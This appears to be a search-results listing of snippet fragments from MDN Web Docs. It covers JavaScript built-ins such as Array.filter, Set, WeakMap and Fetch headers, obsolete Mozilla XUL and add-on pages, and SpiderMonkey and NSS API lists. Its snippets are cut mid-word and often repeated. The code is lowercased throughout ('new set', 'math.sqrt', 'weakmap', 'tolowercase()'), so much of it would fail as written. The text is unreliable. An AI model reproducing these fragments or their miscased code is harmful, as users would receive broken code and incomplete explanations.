en current is assigned a value, it updates log with that value: const language = { set current(name) { this.log.push(name); }, log: [] } language.current = 'en'; console.log(language.log); // ['en'] language.current = 'fa'; console.log(language.log); // ['en', 'fa'] note that current is not defined, and any attempts to access it will result in undefined.
... const language = { set current(name) { this.log.push(name); }, log: [] } language.current = 'en'; console.log(language.log); // ['en'] language.current = 'fa'; console.log(language.log); // ['en', 'fa'] note that current is not defined, and any attempts to access it will result in undefined.
...age = { set current(name) { this.log.push(name); }, log: [] } language.current = 'en'; console.log(language.log); // ['en'] language.current = 'fa'; console.log(language.log); // ['en', 'fa'] note that current is not defined, and any attempts to access it will result in undefined.
Array.prototype.filter() - JavaScript
at pass the test.
... determined according to the usual rules for determining the this seen by a function.
... 'present'] const appendedwords = words.filter( (word, index, arr) => { arr.push('new') return word.length < 6 }) console.log(appendedwords) // only three fits the condition even though the `words` itself now has a lot more words with character length less than 6 // ["spray" ,"limit" ,"elite"] // deleting words words = ['spray', 'limit', 'exuberant', 'destruction', 'elite', 'present'] const deletewords = words.filter( (word, index, arr) => { arr.pop() return word.length < 6 }) console.log(deletewords) // notice 'elite' is not even obtained as its been popped off `words` before filter can even get there // ["spray" ,"limit"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.filter' in that specification.
Array.prototype.find() - JavaScript
ed to callback can.
...returns undefined if there is no prime number): function isprime(element, index, array) { let start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } console.log([4, 6, 8, 12].find(isprime)); // undefined, not found console.log([4, 5, 8, 12].find(isprime)); // 5 the following examples show that nonexistent and deleted elements are visited, and that the value passed to the callback is their value when visited: // declare array with no elements at indexes 2, 3, and 4 const array = [0,1,,,,5,6]; // shows all indexes, not just those with assigned values array.find(function(value, index) { console.log('visited index ', index, ' with value ', value); }); // shows all indexes, including deleted array.find(funct...
...nd that the value passed to the callback is their value when visited: // declare array with no elements at indexes 2, 3, and 4 const array = [0,1,,,,5,6]; // shows all indexes, not just those with assigned values array.find(function(value, index) { console.log('visited index ', index, ' with value ', value); }); // shows all indexes, including deleted array.find(function(value, index) { // delete element 5 on first iteration if (index === 0) { console.log('deleting array[5] with value ', array[5]); delete array[5]; } // element 5 is still visited even though deleted console.log('visited index ', index, ' with value ', value); }); // expected output: // deleting array[5] with value 5 // visited index 0 with value 0 // visited index 1 with value 1 // visited index 2 with val...
Map.prototype.forEach() - JavaScript
ional value of each iteration.
...aversed if a thisarg parameter is provided to foreach, it will be passed to callback when invoked, for use as its this value.
...k when invoked, for use as its this value.
Object.freeze() - JavaScript
son to object.seal() objects sealed with object.seal() can have their existing properties changed.
...ust the same object we passed in.
...obj; // true // the object has become frozen.
Comparing Reflect and Object methods - JavaScript
ns a typeerror if any properties were not successfully defined on the object.
...re not successfully defined on the object.
... set() n/a reflect.set() returns true if the property was set successfully on the object and false if it was not.
Reflect - JavaScript
ction.prototype.apply().
...ct(target, argumentslist[, newtarget]) the new operator as a function.
...tor as a function.
Set.prototype.forEach() - JavaScript
sed in the set.
...array.
...when invoked, for use as its this value.
Set - JavaScript
set object.
...] let o = {a: 1, b: 2} myset.add(o) myset.add({a: 1, b: 2}) // o is referencing a different object, so this is okay myset.has(1) // true myset.has(3) // false, since 3 has not been added to the set myset.has(5) // true myset.has(math.sqrt(25)) // true myset.has('some text'.tolowercase()) // true myset.has(o) // true myset.size // 5 myset.delete(5) // removes 5 from the set myset.has(5) // false, 5 has been removed myset.size // 4, since we just removed one value console.log(myset) // logs set(4) [ 1, "some text", {…}, {…} ] in firefox // logs set(4) { 1, "some text", {…}, {…} } in chrome iterating sets // iterate over items in set // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b...
... return _union } function intersection(seta, setb) { let _intersection = new set() for (let elem of setb) { if (seta.has(elem)) { _intersection.add(elem) } } return _intersection } function symmetricdifference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { if (_difference.has(elem)) { _difference.delete(elem) } else { _difference.add(elem) } } return _difference } function difference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { _difference.delete(elem) } return _difference } // examples let seta = new set([1, 2, 3, 4]) let setb = new set([2, 3]) let setc = new set([3, 4, 5, 6]) issuperset(seta, setb) ...
TypedArray.prototype.filter() - JavaScript
turn value a new typed array with the elements that pass the test.
...cording to the usual rules for determining the this seen by a function.
... on which it is called.
TypedArray.prototype.map() - JavaScript
o use as this when executing mapfn.
...l rules for determining the this seen by a function.
...called (although mapfn, if invoked, may do so).
WeakMap - JavaScript
not been garbage collected.
...efined); wm2.set(wm1, wm2); // keys and values can be any objects.
...ue wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false implementing a weakmap-like class with a .clear() method class clearableweakmap { constructor(init) { this._wm = new weakmap(init); } clear() { this._wm = new weakmap(); } delete(k) { return this._wm.delete(k); } get(k) { return this._wm.get(k); } has(k) { return this._wm.has(k); } set(k, v) { this._wm.set(k, v); return this; } } specifications specification ecmascript (ecma-262)the definition of 'weakmap' in that specification.
Expressions and operators - JavaScript
multiple arguments (for function calls) or multiple elements (for array literals) are expected.
...uments (for function calls) or multiple elements (for array literals) are expected.
...tion calls) or multiple elements (for array literals) are expected.
The building blocks of responsive design - Progressive web apps (PWAs)
ntages in that the layout will adapt to different viewport dimensions.
...the dimensions scale up and down nicely along with the viewport width.
...em; } } this does the following: adjusts the nav buttons, changing the direction the flexbox is laid out in, and altering the font size and borders so they sit vertically instead of horizontally.
indexed-db - Archive of obsolete content
ar { indexeddb, idbkeyrange } = require('sdk/indexed-db'); var database = {}; database.onerror = function(e) { console.error(e.value) } function open(version) { var request = indexeddb.open("stuff", version); request.onupgradeneeded = function(e) { var db = e.target.result; e.target.transaction.onerror = database.onerror; if(db.objectstorenames.contains("items")) { db.deleteobjectstore("items"); } var store = db.createobjectstore("items", {keypath: "time"}); }; request.onsuccess = function(e) { database.db = e.target.result; }; request.onerror = database.onerror; }; function additem(name) { var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var time = new date().getti...
...e("sdk/tabs").activetab.title); } }); var list = require("sdk/ui/button/action").actionbutton({ id: "list", label: "list", icon: "./list.png", onclick: function() { getitems(listitems); } }); note that to run this add-on you'll need to provide icons named "add.png" and "list.png" in the add-on's "data" directory.
places/bookmarks - Archive of obsolete content
and deleting bookmarks are all done with the save() function.
...re pushed to the platform and are either created, updated or deleted.
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
case and lowercase letters and they will be handled the same.
...rcase letters and they will be handled the same.
Session store API - Archive of obsolete content
.getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; var retrieveddata = ss.gettabvalue(currenttab, "key-name-here"); after this code executes, the variable retrieveddata contains the value saved for the key "key-name-here".
...d for the key "key-name-here".
Signing an XPI - Archive of obsolete content
e certificate database: c:\projects\codesigning\> dir x509* 14/12/2005 15:13 1,031 x509.cacert 14/12/2005 15:13 798 x509.raw c:\projects\codesigning\> certutil -d .
...(deflated 62%) test your certificate to test your certificate, install it into your browser, and attempt to load the signed extension by following these steps: 1.
Environment variables affecting crash reporting - Archive of obsolete content
rts some environment variables, primarily for testing purposes.
...t variables, primarily for testing purposes.
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
nv_user + "@imap-int.int-evry.fr/templates"); lockpref("mail.identity.id1.tmpl_folder_picker_mode", "0"); lockpref("mail.identity.id1.valid", true); lockpref("mail.identity.id1.overrideglobal_pref", true); lockpref("mail.server.server1.download_on_biff", true); lockpref("mail.server.server1.login_at_startup", true); lockpref("mail.server.server1.username", env_user); lockpref("mail.server.server1.delete_model", 0); //smtp lockpref("mail.identity.id1.smtpserver", "smtp1"); defaultpref("mail.smtpserver.smtp1.auth_method", 0); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.smtp.defaultserver", "smtp1"); lockpref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr"); lockpref("mail.identity.id1.organization", "int evry france"); lockpref("mail.start...
...nv_user + "@imap-int.int-evry.fr/templates"); lockpref("mail.identity.id1.tmpl_folder_picker_mode", "0"); lockpref("mail.identity.id1.valid", true); lockpref("mail.identity.id1.overrideglobal_pref", true); lockpref("mail.server.server1.download_on_biff", true); lockpref("mail.server.server1.login_at_startup", true); lockpref("mail.server.server1.username", env_user); lockpref("mail.server.server1.delete_model", 0); //smtp defaultpref("mail.identity.id1.smtpserver", "smtp1"); defaultpref("mail.smtpserver.smtp1.auth_method", 0); defaultpref("mail.smtpservers", "smtp1"); defaultpref("mail.smtpservers", "smtp1"); defaultpref("mail.smtp.defaultserver", "smtp1"); defaultpref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr"); lockpref("mail.identity.id1.organization", "int evry france"); lockp...
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
isk on windows.
...plication settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard).
Download Manager preferences - Archive of obsolete content
browser window.
...downloaddir a boolean value that indicates whether or not the user's preference is to automatically save files into the download directory.
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
g blue</font> internet explorer: <font color="blue">big blue</font> below is a list of commands that execcommand in mozilla supports: table 6.
...nt> internet explorer: <font color="blue">big blue</font> below is a list of commands that execcommand in mozilla supports: table 6.
Monitoring downloads - Archive of obsolete content
you're learning to use the download manager or storage apis, they're things you might look into doing for practice: add code to update the download log window on the fly, instead of generating a static list when it's first opened.
...ad manager or storage apis, they're things you might look into doing for practice: add code to update the download log window on the fly, instead of generating a static list when it's first opened.
The new nsString class implementation (1999) - Archive of obsolete content
ertcstring(nsstrimpl& adest,pruint32 adestoffset, const char* asource,pruint32 asrcoffset,print32 acount); static void insertchar(nsstrimpl& adest,pruint32 adestoffset,char thechar); static void insertchar(nsstrimpl& adest,pruint32 adestoffset,prunichar theunichar); static void insertchar(nsstrimpl& adest,pruint32 adestoffset,print32 thequadchar); static void delete(nsstrimpl& adest,pruint32 adestoffset,pruint32 acount); static void truncate(nsstrimpl& adest,pruint32 adestoffset); static print32 compare(const nsstrimpl& adest,const nsstrimpl& asource, print32 acount,prbool aignorecase); }; nsstring the nsstring class is still with us as a subclass (wrapper) of nsstrimpl.
...dering if this is sufficient, namely, that a string can return it's own (shared) allocator for this purpose.
execute - Archive of obsolete content
ts the named file from the xpi file to a temporary file name.
...one you are installing (as opposed to an installer executable that you plan to delete once it runs), then use the execute method on the file object instead.
Methods - Archive of obsolete content
ry unpacks an entire subdirectory.
...subdirectory.
writeString - Archive of obsolete content
value); parameters the method has the following parameters: section section in the file, such as "boot" or "drivers".
...ey in that section whose value to change.
Methods - Archive of obsolete content
ow the use of the xpinstall api.
...jority of this api is now deprecated and as of gecko 1.9 no longer available.
XPInstall API reference - Archive of obsolete content
no longer available.
...irectory isfile macalias moddate moddatechanged move remove rename size windowsgetshortname windowsregisterserver windowsshortcut winprofile no properties methods getstring writestring winreg no properties methods createkey deletekey deletevalue enumkeys enumvaluenames getvalue getvaluenumber getvaluestring iskeywritable keyexists setrootkey setvalue setvaluenumber setvaluestring valueexists winregvalue constructor other information return codes see complete list examples trigger scripts and install scri...
controllers - Archive of obsolete content
e controllers to handle a command by using the focused element's list.
... example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </listbox> ...
Custom toolbar button - Archive of obsolete content
hoose view – toolbars – customize...
...lette window.
Broadcasters and Observers - Archive of obsolete content
ute forwarding of commands to accomplish this.
...r actions, while a broadcaster is instead used for holding state information.
Manifest Files - Archive of obsolete content
new directory you created in step 1.
... diagnose problems.
Property Files - Archive of obsolete content
from a script, if, for example, you do not know the exact text to be displayed.
...now the exact text to be displayed.
Using the Editor from XUL - Archive of obsolete content
l a mouse listener.
...) on the current editing rules.
The Implementation of the Application Object Model - Archive of obsolete content
esentation of data must be persistent.
... within the subtree at which the discardable attribute occurs, the attribute in question will be considered to be non-persistent.
2006-11-17 - Archive of obsolete content
ever you need review from, but don't post a formal review.
...iew.
NPN_DestroyStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary closes and deletes a stream.
...es_user_break: plug-in is terminating the stream due to a user request.
NPN_PostURL - Archive of obsolete content
url url of the request, specified by the plug-in.
...rl.
NPN_PostURLNotify - Archive of obsolete content
of the post request, specified by the plug-in.
...ccessful completion of the request.
NPP_DestroyStream - Archive of obsolete content
r other problems.
...cessful, the plug-in should return nperr_no_error.
NPSavedData - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary block of instance information saved after the plug-in instance is deleted; can be returned to the plug-in to restore the data in future instances of the plug-in.
...llowing fields: len length in bytes of the buffer pointed to by buf; set by the plug-in.
NPStream - Archive of obsolete content
se of it.
...ct until after it calls npp_destroystream or the plug-in calls npn_destroystream.
Table Reflow Internals - Archive of obsolete content
le paginated reflow review of reflow reflow process starts when an html document starts loading (the frame tree contains only viewport, scroll(s), canvas, html, body).
...a target when a caption is added or removed (dirty) or the table or caption margin changes (style changed).
Accessing XML children - Archive of obsolete content
non-xml value to a child element that doesn't exist will create that element.
...= <foo/> element1.bar = 1; produces <foo> <bar>1</bar> </foo> if the child node already exists, the .
Object.prototype.watch() - Archive of obsolete content
a function to call when the specified property's value changes.
...document.
Desktop mouse and keyboard controls - Game development
er new key control just for this.
...over screens to make the game fully playable with keyboard it should be possible to go back to the main menu, continue playing, or restart the game from the pause and game over screens.
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
g execute all lines of code inside the greeting() function.
...side the sayhi() function, until reaches its end.
Arrays - Learn web development
use for array methods like push() and pop() is when you are maintaining a record of currently active items in a web app.
...nd added to the array, older ones can be deleted from the array to maintain the desired number.
Client-Server Overview - Learn web development
ontact to a database).
...o a database).
Website security - Learn web development
.
...ifies a real name, the statement will work as intended.
Componentizing our React app - Learn web development
b"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> </div> <div classname="btn-group"> <button type="button" classname="btn"> edit <span classname="visually-hidden">eat</span> </button> <button type="button" classname="btn btn__danger"> delete <span classname="visually-hidden">eat</span> </button> </div> </li> ); } note: components must always return something.
... id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> {props.name} </label> </div> <div classname="btn-group"> <button type="button" classname="btn"> edit <span classname="visually-hidden">{props.name}</span> </button> <button type="button" classname="btn btn__danger"> delete <span classname="visually-hidden">{props.name}</span> </button> </div> </li> ); } now your browser should show three unique tasks.
Accessibility/LiveRegionDevGuide
ed.
...essible2, there are two separate event types, namely event_object_show and event_object_hide.
Accessible Toolkit Checklist
lways focus the next item, not insert a tab, unless there's a really good reason and another way to navigate always use system selection color, otherwise screen reader won't read the text make sure the caret is never blinking when focus is not in text field handle standard editing keys, such as arrow keys, home, end, pageup, pagedown, ctrl+left/right, shifted keys for selection, delete, ctrl+delete, backspace, ctrl+backspace, ctrl+a, ctrl+b, ctrl+c, ctrl+i, ctrl+u, ctrl+x, ctrl+v, ctrl+[shift]+z in multiline text field, enter key inserts new line (thus default button no longer shows dark border when multiline text field is focused) in autocomplete text fields, make sure the autocomplete popup doesn't receive actual or msaa focus unless an up/down arrow is pressed, a...
...r key inserts new line (thus default button no longer shows dark border when multiline text field is focused) in autocomplete text fields, make sure the autocomplete popup doesn't receive actual or msaa focus unless an up/down arrow is pressed, and don't use the default system highlight color in the list itself unless it really has focus in autocomplete text fields, make sure that the delete or backspace key removes all auto completed selected text.
Eclipse CDT Manual Setup
the environment properly, so it's necessary to invoke just-print-mozilla-build.py indirectly through bash).
...acos/" - and since the ui will only allow you to select to the 'dist' folder, you'll need to type the end of the path in manually).
Dict.jsm
returns a shallow copy of the dictionary; that is, a copy of the dictionary including the items immediately included within the dictionary; however, any objects referenced by those top-level objects are not copied.
...nary; however, any objects referenced by those top-level objects are not copied.
Download
indicates that the download has been canceled.
...esolves to undefined when the instruction to open the containing folder has been successfully given to the operating system.
DownloadTarget
a ".part" file to keep partially downloaded data.
...ould be required to check the file directly.
Leak-hunting strategies and tips
equally with or without nscomptr.) see bug 38586 and bug 287847 for examples.
...47 for examples.
AsyncTestUtils extended framework
rue for and, false for or.
...e messages offline yield make_folder_and_contents_offline(folderhandle); messages and folders move messages to a folder yield async_move_messages(asynmessageset, adestfolder); trash messages (move them to the trash folder) yield async_trash_messages(asynmessageset); empty the trash folder yield async_empty_trash(); delete messages (without moving them to the trash folder) yield async_delete_messages(asynmessageset); implementation details the following files make up the framework: asynctestutils.js: core async testing logic.
NSPR Error Handling
tory.
...longer than allowed by the host operating system.
Cryptography functions
3.2 and later pk11_createdigestcontext mxr 3.2 and later pk11_creategenericobject mxr 3.12 and later pk11_createmergelog mxr 3.12 and later pk11_createpbealgorithmid mxr 3.2 and later pk11_createpbev2algorithmid mxr 3.12 and later pk11_deletetokenprivatekey mxr 3.4 and later pk11_deletetokenpublickey mxr 3.4 and later pk11_deletetokensymkey mxr 3.4 and later pk11_derive mxr 3.2 and later pk11_derivewithflags mxr 3.2 and later pk11_derivewithflagsperm mxr 3.9 and later p...
... pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr 3.2 and later pk11_writerawattribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr 3.2 and later sec_findcrlbydercert mxr 3.2 and later sec_findcrlbyname mxr 3.2 and later sec_lookupcrls ...
NSS_3.12_release_notes.html
nericobject (see pk11pub.h) pk11_createpbev2algorithmid (see pk11pub.h) pk11_destroymergelog (see pk11pub.h) pk11_generatekeypairwithopflags (see pk11pub.h) pk11_getpbecryptomechanism (see pk11pub.h) pk11_isremovable (see pk11pub.h) pk11_mergetokens (see pk11pub.h) pk11_writerawattribute (see pk11pub.h) seckey_ecparamstobasepointorderlen (see keyhi.h) seckey_ecparamstokeysize (see keyhi.h) secmod_deletemoduleex (see secmod.h) sec_getregisteredhttpclient (see ocsp.h) sec_pkcs5isalgorithmpbealgtag (see secpkcs5.h) vfy_createcontextdirect (see cryptohi.h) vfy_createcontextwithalgorithmid (see cryptohi.h) vfy_verifydatadirect (see cryptohi.h) vfy_verifydatawithalgorithmid (see cryptohi.h) vfy_verifydigestdirect (see cryptohi.h) vfy_verifydigestwithalgorithmid (see cryptohi.h) new macros for camell...
...est.mn bug 412906: remove sha.c and sha.h from lib/freebl bug 353543: valgrind uninitialized memory read in nsspkiobjectcollection_addinstances bug 377548: nss qa test program certutil's default dsa prime is only 512 bits bug 333405: item cleanup is unused deadcode in secitem_allocitem loser bug 288730: compiler warnings in certutil bug 337251: warning: /* within comment bug 362967: export secmod_deletemoduleex bug 389248: nss build failure when nss_enable_ecc is not defined bug 390451: remembered passwords lost when changing master password bug 418546: reference leak in cert_pkixverifycert bug 390074: os/2 sign.cmd doesn't find sqlite3.dll bug 417392: certutil -l -n reports bogus trust flags documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation...
Rhino scopes and contexts
ll find the definitions in the shared scope.
...ope potentially leading to memory leaks.
How to embed the JavaScript engine
sample below the code.
...s_encodestring(cx, str)); } js_destroycontext(cx); js_destroyruntime(rt); js_shutdown(); return 0; } spidermonkey 31 // following code might be needed in some case // #define __stdc_limit_macros // #include <stdint.h> #include "jsapi.h" /* the class of the global object.
Functions
eed, fastest to slowest.
...var{inc,dec}.
JSAPI Cookbook
"myprop", &found)) return false; if (found) { // then do something } defining a constant property this is the first of three examples involving the built-in function object.defineproperty(), which gives javascript code fine-grained control over the behavior of individual properties of any object.
... is the first of three examples involving the built-in function object.defineproperty(), which gives javascript code fine-grained control over the behavior of individual properties of any object.
JSPropertyDescriptor
a descriptor is used to declare whether an attribute can be written to whether it can delete an object that can enumerate and specify content.
...unction that will be called when that property is looked up.
JS_Enumerate
application must free this array using js_destroyidarray.
...le, its current property ids are reachable.
JS_GetProperty
p to the current value of the property, or undefined if obj has no such property, and return true.
...lue of the property, or undefined if obj has no such property, and return true.
JS_SetArrayLength
on an existing array, the elements that no longer fit in the array are destroyed.
...ements.
SpiderMonkey 1.8.5
ure releases, replaced with js_parsejson) js_compilefilehandleforprincipalsversion js_compilescriptforprincipalsversion js_compileucfunctionforprincipalsversion js_compileucscriptforprincipalsversion js_consumejsontext (removed in future releases, replaced with js_parsejson) js_decompilescriptobject js_deepfreezeobject js_definefunctionbyid js_defineownproperty js_definepropertybyid js_deletepropertybyid js_deletepropertybyid2 js_doubleisint32 js_encodestringtobuffer js_entercrosscompartmentcall js_evaluatescriptforprincipalsversion js_evaluateucscriptforprincipalsversion js_executeregexp js_executeregexpnostatics js_executescriptversion js_forget_string_flatness js_fileescapedstring js_finishjsonparse (removed in future releases, replaced with js_parsejson) js_flatstring...
...duced into the api, to help embedders writing c++ projects.
SpiderMonkey 1.8.7
ure releases, replaced with js_parsejson) js_compilefilehandleforprincipalsversion js_compilescriptforprincipalsversion js_compileucfunctionforprincipalsversion js_compileucscriptforprincipalsversion js_consumejsontext (removed in future releases, replaced with js_parsejson) js_decompilescriptobject js_deepfreezeobject js_definefunctionbyid js_defineownproperty js_definepropertybyid js_deletepropertybyid js_deletepropertybyid2 js_doubleisint32 js_encodestringtobuffer js_entercrosscompartmentcall js_evaluatescriptforprincipalsversion js_evaluateucscriptforprincipalsversion js_executeregexp js_executeregexpnostatics js_executescriptversion js_forget_string_flatness js_fileescapedstring js_finishjsonparse (removed in future releases, replaced with js_parsejson) js_flatstring...
...duced into the api, to help embedders writing c++ projects.
SpiderMonkey 38
ttwobytestringcharsandlength (bug 1032726) js_newplainobject (bug 1125356) js_removefinalizecallback (bug 996785) js_self_hosted_sym_fn (bug 1082672) js_sym_fn (bug 1082672) js_sym_fnspec (bug 1082672) js_stringhaslatin1chars (bug 1032726) js_stringisflat (bug 1037869) js_stringtoid (bug 959787) propertydefinitionbehavior (bug 825199) symbol_to_jsid (bug 645416) obsolete apis ...
...to_int (bug 952650) jsval_to_object (bug 952650) jsval_to_private (bug 952650) jsval_to_string (bug 952650) js_clearnonglobalobject (bug 1043281) js_clonefunctionobject (bug 1089026) js_compilefunction (bug 1089026) js_compileucfunction (bug 1089026) js_convertarguments (bug 1125784) js_convertargumentsva (bug 1125784) js_convertstub (bug 1103152) js_defineownproperty (bug 1017323) js_deletepropertystub (bug 1103152) js_doubletoint32 (bug 1112774) js_doubletouint32 (bug 1112774) js_enumeratestub (bug 1103152) js_evaluatescript (bug 1100579) js_evaluateucscript (bug 1100579) js_executescriptversion (bug 1095660) js_getflatstringchars (bug 1037869) js_getfunctioncallback (bug 1103269) js_getinternedstringchars (bug 1037869) js_getinternedstringcharsandlength (bug 1037869) js...
SpiderMonkey 45
tensiblelexicalscope (bug 1202902) js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_setimmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunctionfromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::newsetobject (bug 1159469) js::setsize (bug 1159469) js::sethas (bug 1159469) js::setdelete (bug 1159469) js::setadd (bug 1159469) js::setclear (bug 1159469) js::setkeys (bug 1159469)...
...interned renamed to js_stringhasbeenpinned (bug 1178581) js_internjsstring renamed to js_atomizeandpinjsstring (bug 1178581) js_internstringn renamed to js_atomizeandpinstringn (bug 1178581) js_internstring renamed to js_atomizeandpinstring (bug 1178581) js_internucstringn renamed to js_atomizeandpinucstringn (bug 1178581) js_internucstring renamed to js_atomizeandpinucstring (bug 1178581) deleted apis js_getcompartmentstats js_seticumemoryfunctions js_isgcmarkingtracer js_ismarkinggray js_idarraylength js_idarrayget js_destroyidarray js_defaultvalue js_getparent js_setparent js::parsepropertydescriptorobject js_deleteproperty2 js_deletepropertybyid2 js_deleteucproperty2 js_deleteelement2 js_newfunctionbyid js_bindcallable js_decompilefunctionbody js_getlatin1interned...
TPS Bookmark Lists
s are applied, after the items have been verified to exist.
... verified to exist.
TPS Formdata Lists
24 means 24 hours ago.
...ue: "failure", date: -2 }, { fieldname: "username", value: "joe" } ]; formdata lists and phase actions you can use the following functions in phase actions for formdata lists: formdata.add formdata.delete formdata.verify formdata.verifynot for an example, see the tps formdata unittest: http://hg.mozilla.org/services/tps/f...st_formdata.js notes note 1, tps supports the delete action for formdata, but sync currently does not correctly sync deleted form data, see bug 564296.
Gecko events
section_changed the caret moved from one section to the next.
...able_row_description_changed a table's row description changed.
Mork
Mozilla › Tech › Mork
scope being an important part of the id, in that 1:scope1 is not the same row as 1:scope2.
...e is not specified, then it is the default scope of the table (if it has one) or 'r' otherwise.
Mozilla internal string guide
s nsstring and nscstring for member variables.
...tring for member variables.
nsIContentPrefService
changes.
...r to gecko 2.0, the site could only be specified by nsiuri.
nsIDownloader
adlocation); methods init() initialize this downloader.
...bserver the nsidownloadobserver to be notified when the download completes.
nsIDynamicContainer
the container node for the container being opened.
...llow these when possible, for example, whether to expand queries, etc.
nsIEditor
tributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected content removal void deleteselection(in short action, in short stripwrappers); document info and file methods void resetmodificationcount(); long getmodificationcount(); void incrementmodificationcount(in long amodcount); void incrementmodificationcount(in long amodcount); transaction methods void dotransaction(in nsitransaction txn); void enableundo(in...
...sourcenode); nsidomnode createnode(in astring tag, in nsidomnode parent, in long position); void insertnode(in nsidomnode node, in nsidomnode parent, in long aposition); void splitnode(in nsidomnode existingrightnode, in long offset, out nsidomnode newleftnode); void joinnodes(in nsidomnode leftnode, in nsidomnode rightnode, in nsidomnode parent); void deletenode(in nsidomnode child); void marknodedirty(in nsidomnode node); direction controller void switchtextdirection(); output methods astring outputtostring(in astring formattype, in unsigned long flags); example: // flags are declared in base/public/nsidocumentencoder.idl // outputselectiononly = 1, outputformatted = 2, // outputraw = 4...
nsIScriptableIO
nged by specifying the abuffersize parameter.
...ter.
Troubleshooting XPCOM components registration
console if chrome errors are enabled.
... nsgetmodule is exported.
Address book sync client design
if it's new, mod if it's been modified, // ret if it was already sent to the server // but an error occured, etc.
...s been modified, // ret if it was already sent to the server // but an error occured, etc.
Mail composition back end
opriate folder for copy operations.
... nsimsgcompfields *fields, - the message composition fields.
Gecko Plugin API Reference - Plugins
ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http se...
...hat they are implemented by the browser and called by the plug-in.
Network request list - Firefox Developer Tools
close the sidebar.) enter a string in the field with the placeholder text block resource when url contains.
...est blocking.
CSSRuleList - Web APIs
st interface (such as cssstylesheet.cssrules), and index is the 0-based index of the rule, in the order as it appears in the style sheet css.
... however, for some reason the list does need to be modified but has no parent stylesheet (perhaps being a livecopy of a list that does), it cannot just be assigned one (as it has no such property), and neither can it be assigned to one (as stylesheet.cssrules is read-only), but it must unfortunately be inserted into one, rule by rule, and unless combining lists, after any existing list therein is deleted, rule by rule.
ContentIndexEvent() - Web APIs
the contentindexevent() constructor creates a new contentindexevent object whose type and other options are configured as specified.
... populate the contentindexevent object with.
EXT_disjoint_timer_query - Web APIs
ry_result_available_ext a glboolean indicating whether or not a query result is available.
...ext a glboolean indicating whether or not a query result is available.
Using Fetch - Web APIs
e fetch() method can optionally accept a second parameter, an init object that allows you to control a number of different settings: see fetch() for the full options available, and more details.
...he contents can be queried and retrieved: console.log(myheaders.has('content-type')); // true console.log(myheaders.has('set-cookie')); // false myheaders.set('content-type', 'text/html'); myheaders.append('x-custom-header', 'anothervalue'); console.log(myheaders.get('content-length')); // 11 console.log(myheaders.get('x-custom-header')); // ['processthisimmediately', 'anothervalue'] myheaders.delete('x-custom-header'); console.log(myheaders.get('x-custom-header')); // [ ] some of these operations are only useful in serviceworkers, but they provide a much nicer api for manipulating headers.
FileEntrySync - Web APIs
ith the file that the fileentry represents.
...the current state of the file that this fileentry represents.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
er application or is locked at the operating system level.
... the directory and/or its contents may not be safe to access from a web application.
FormData - Web APIs
Web › API › FormData
be used in a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()).
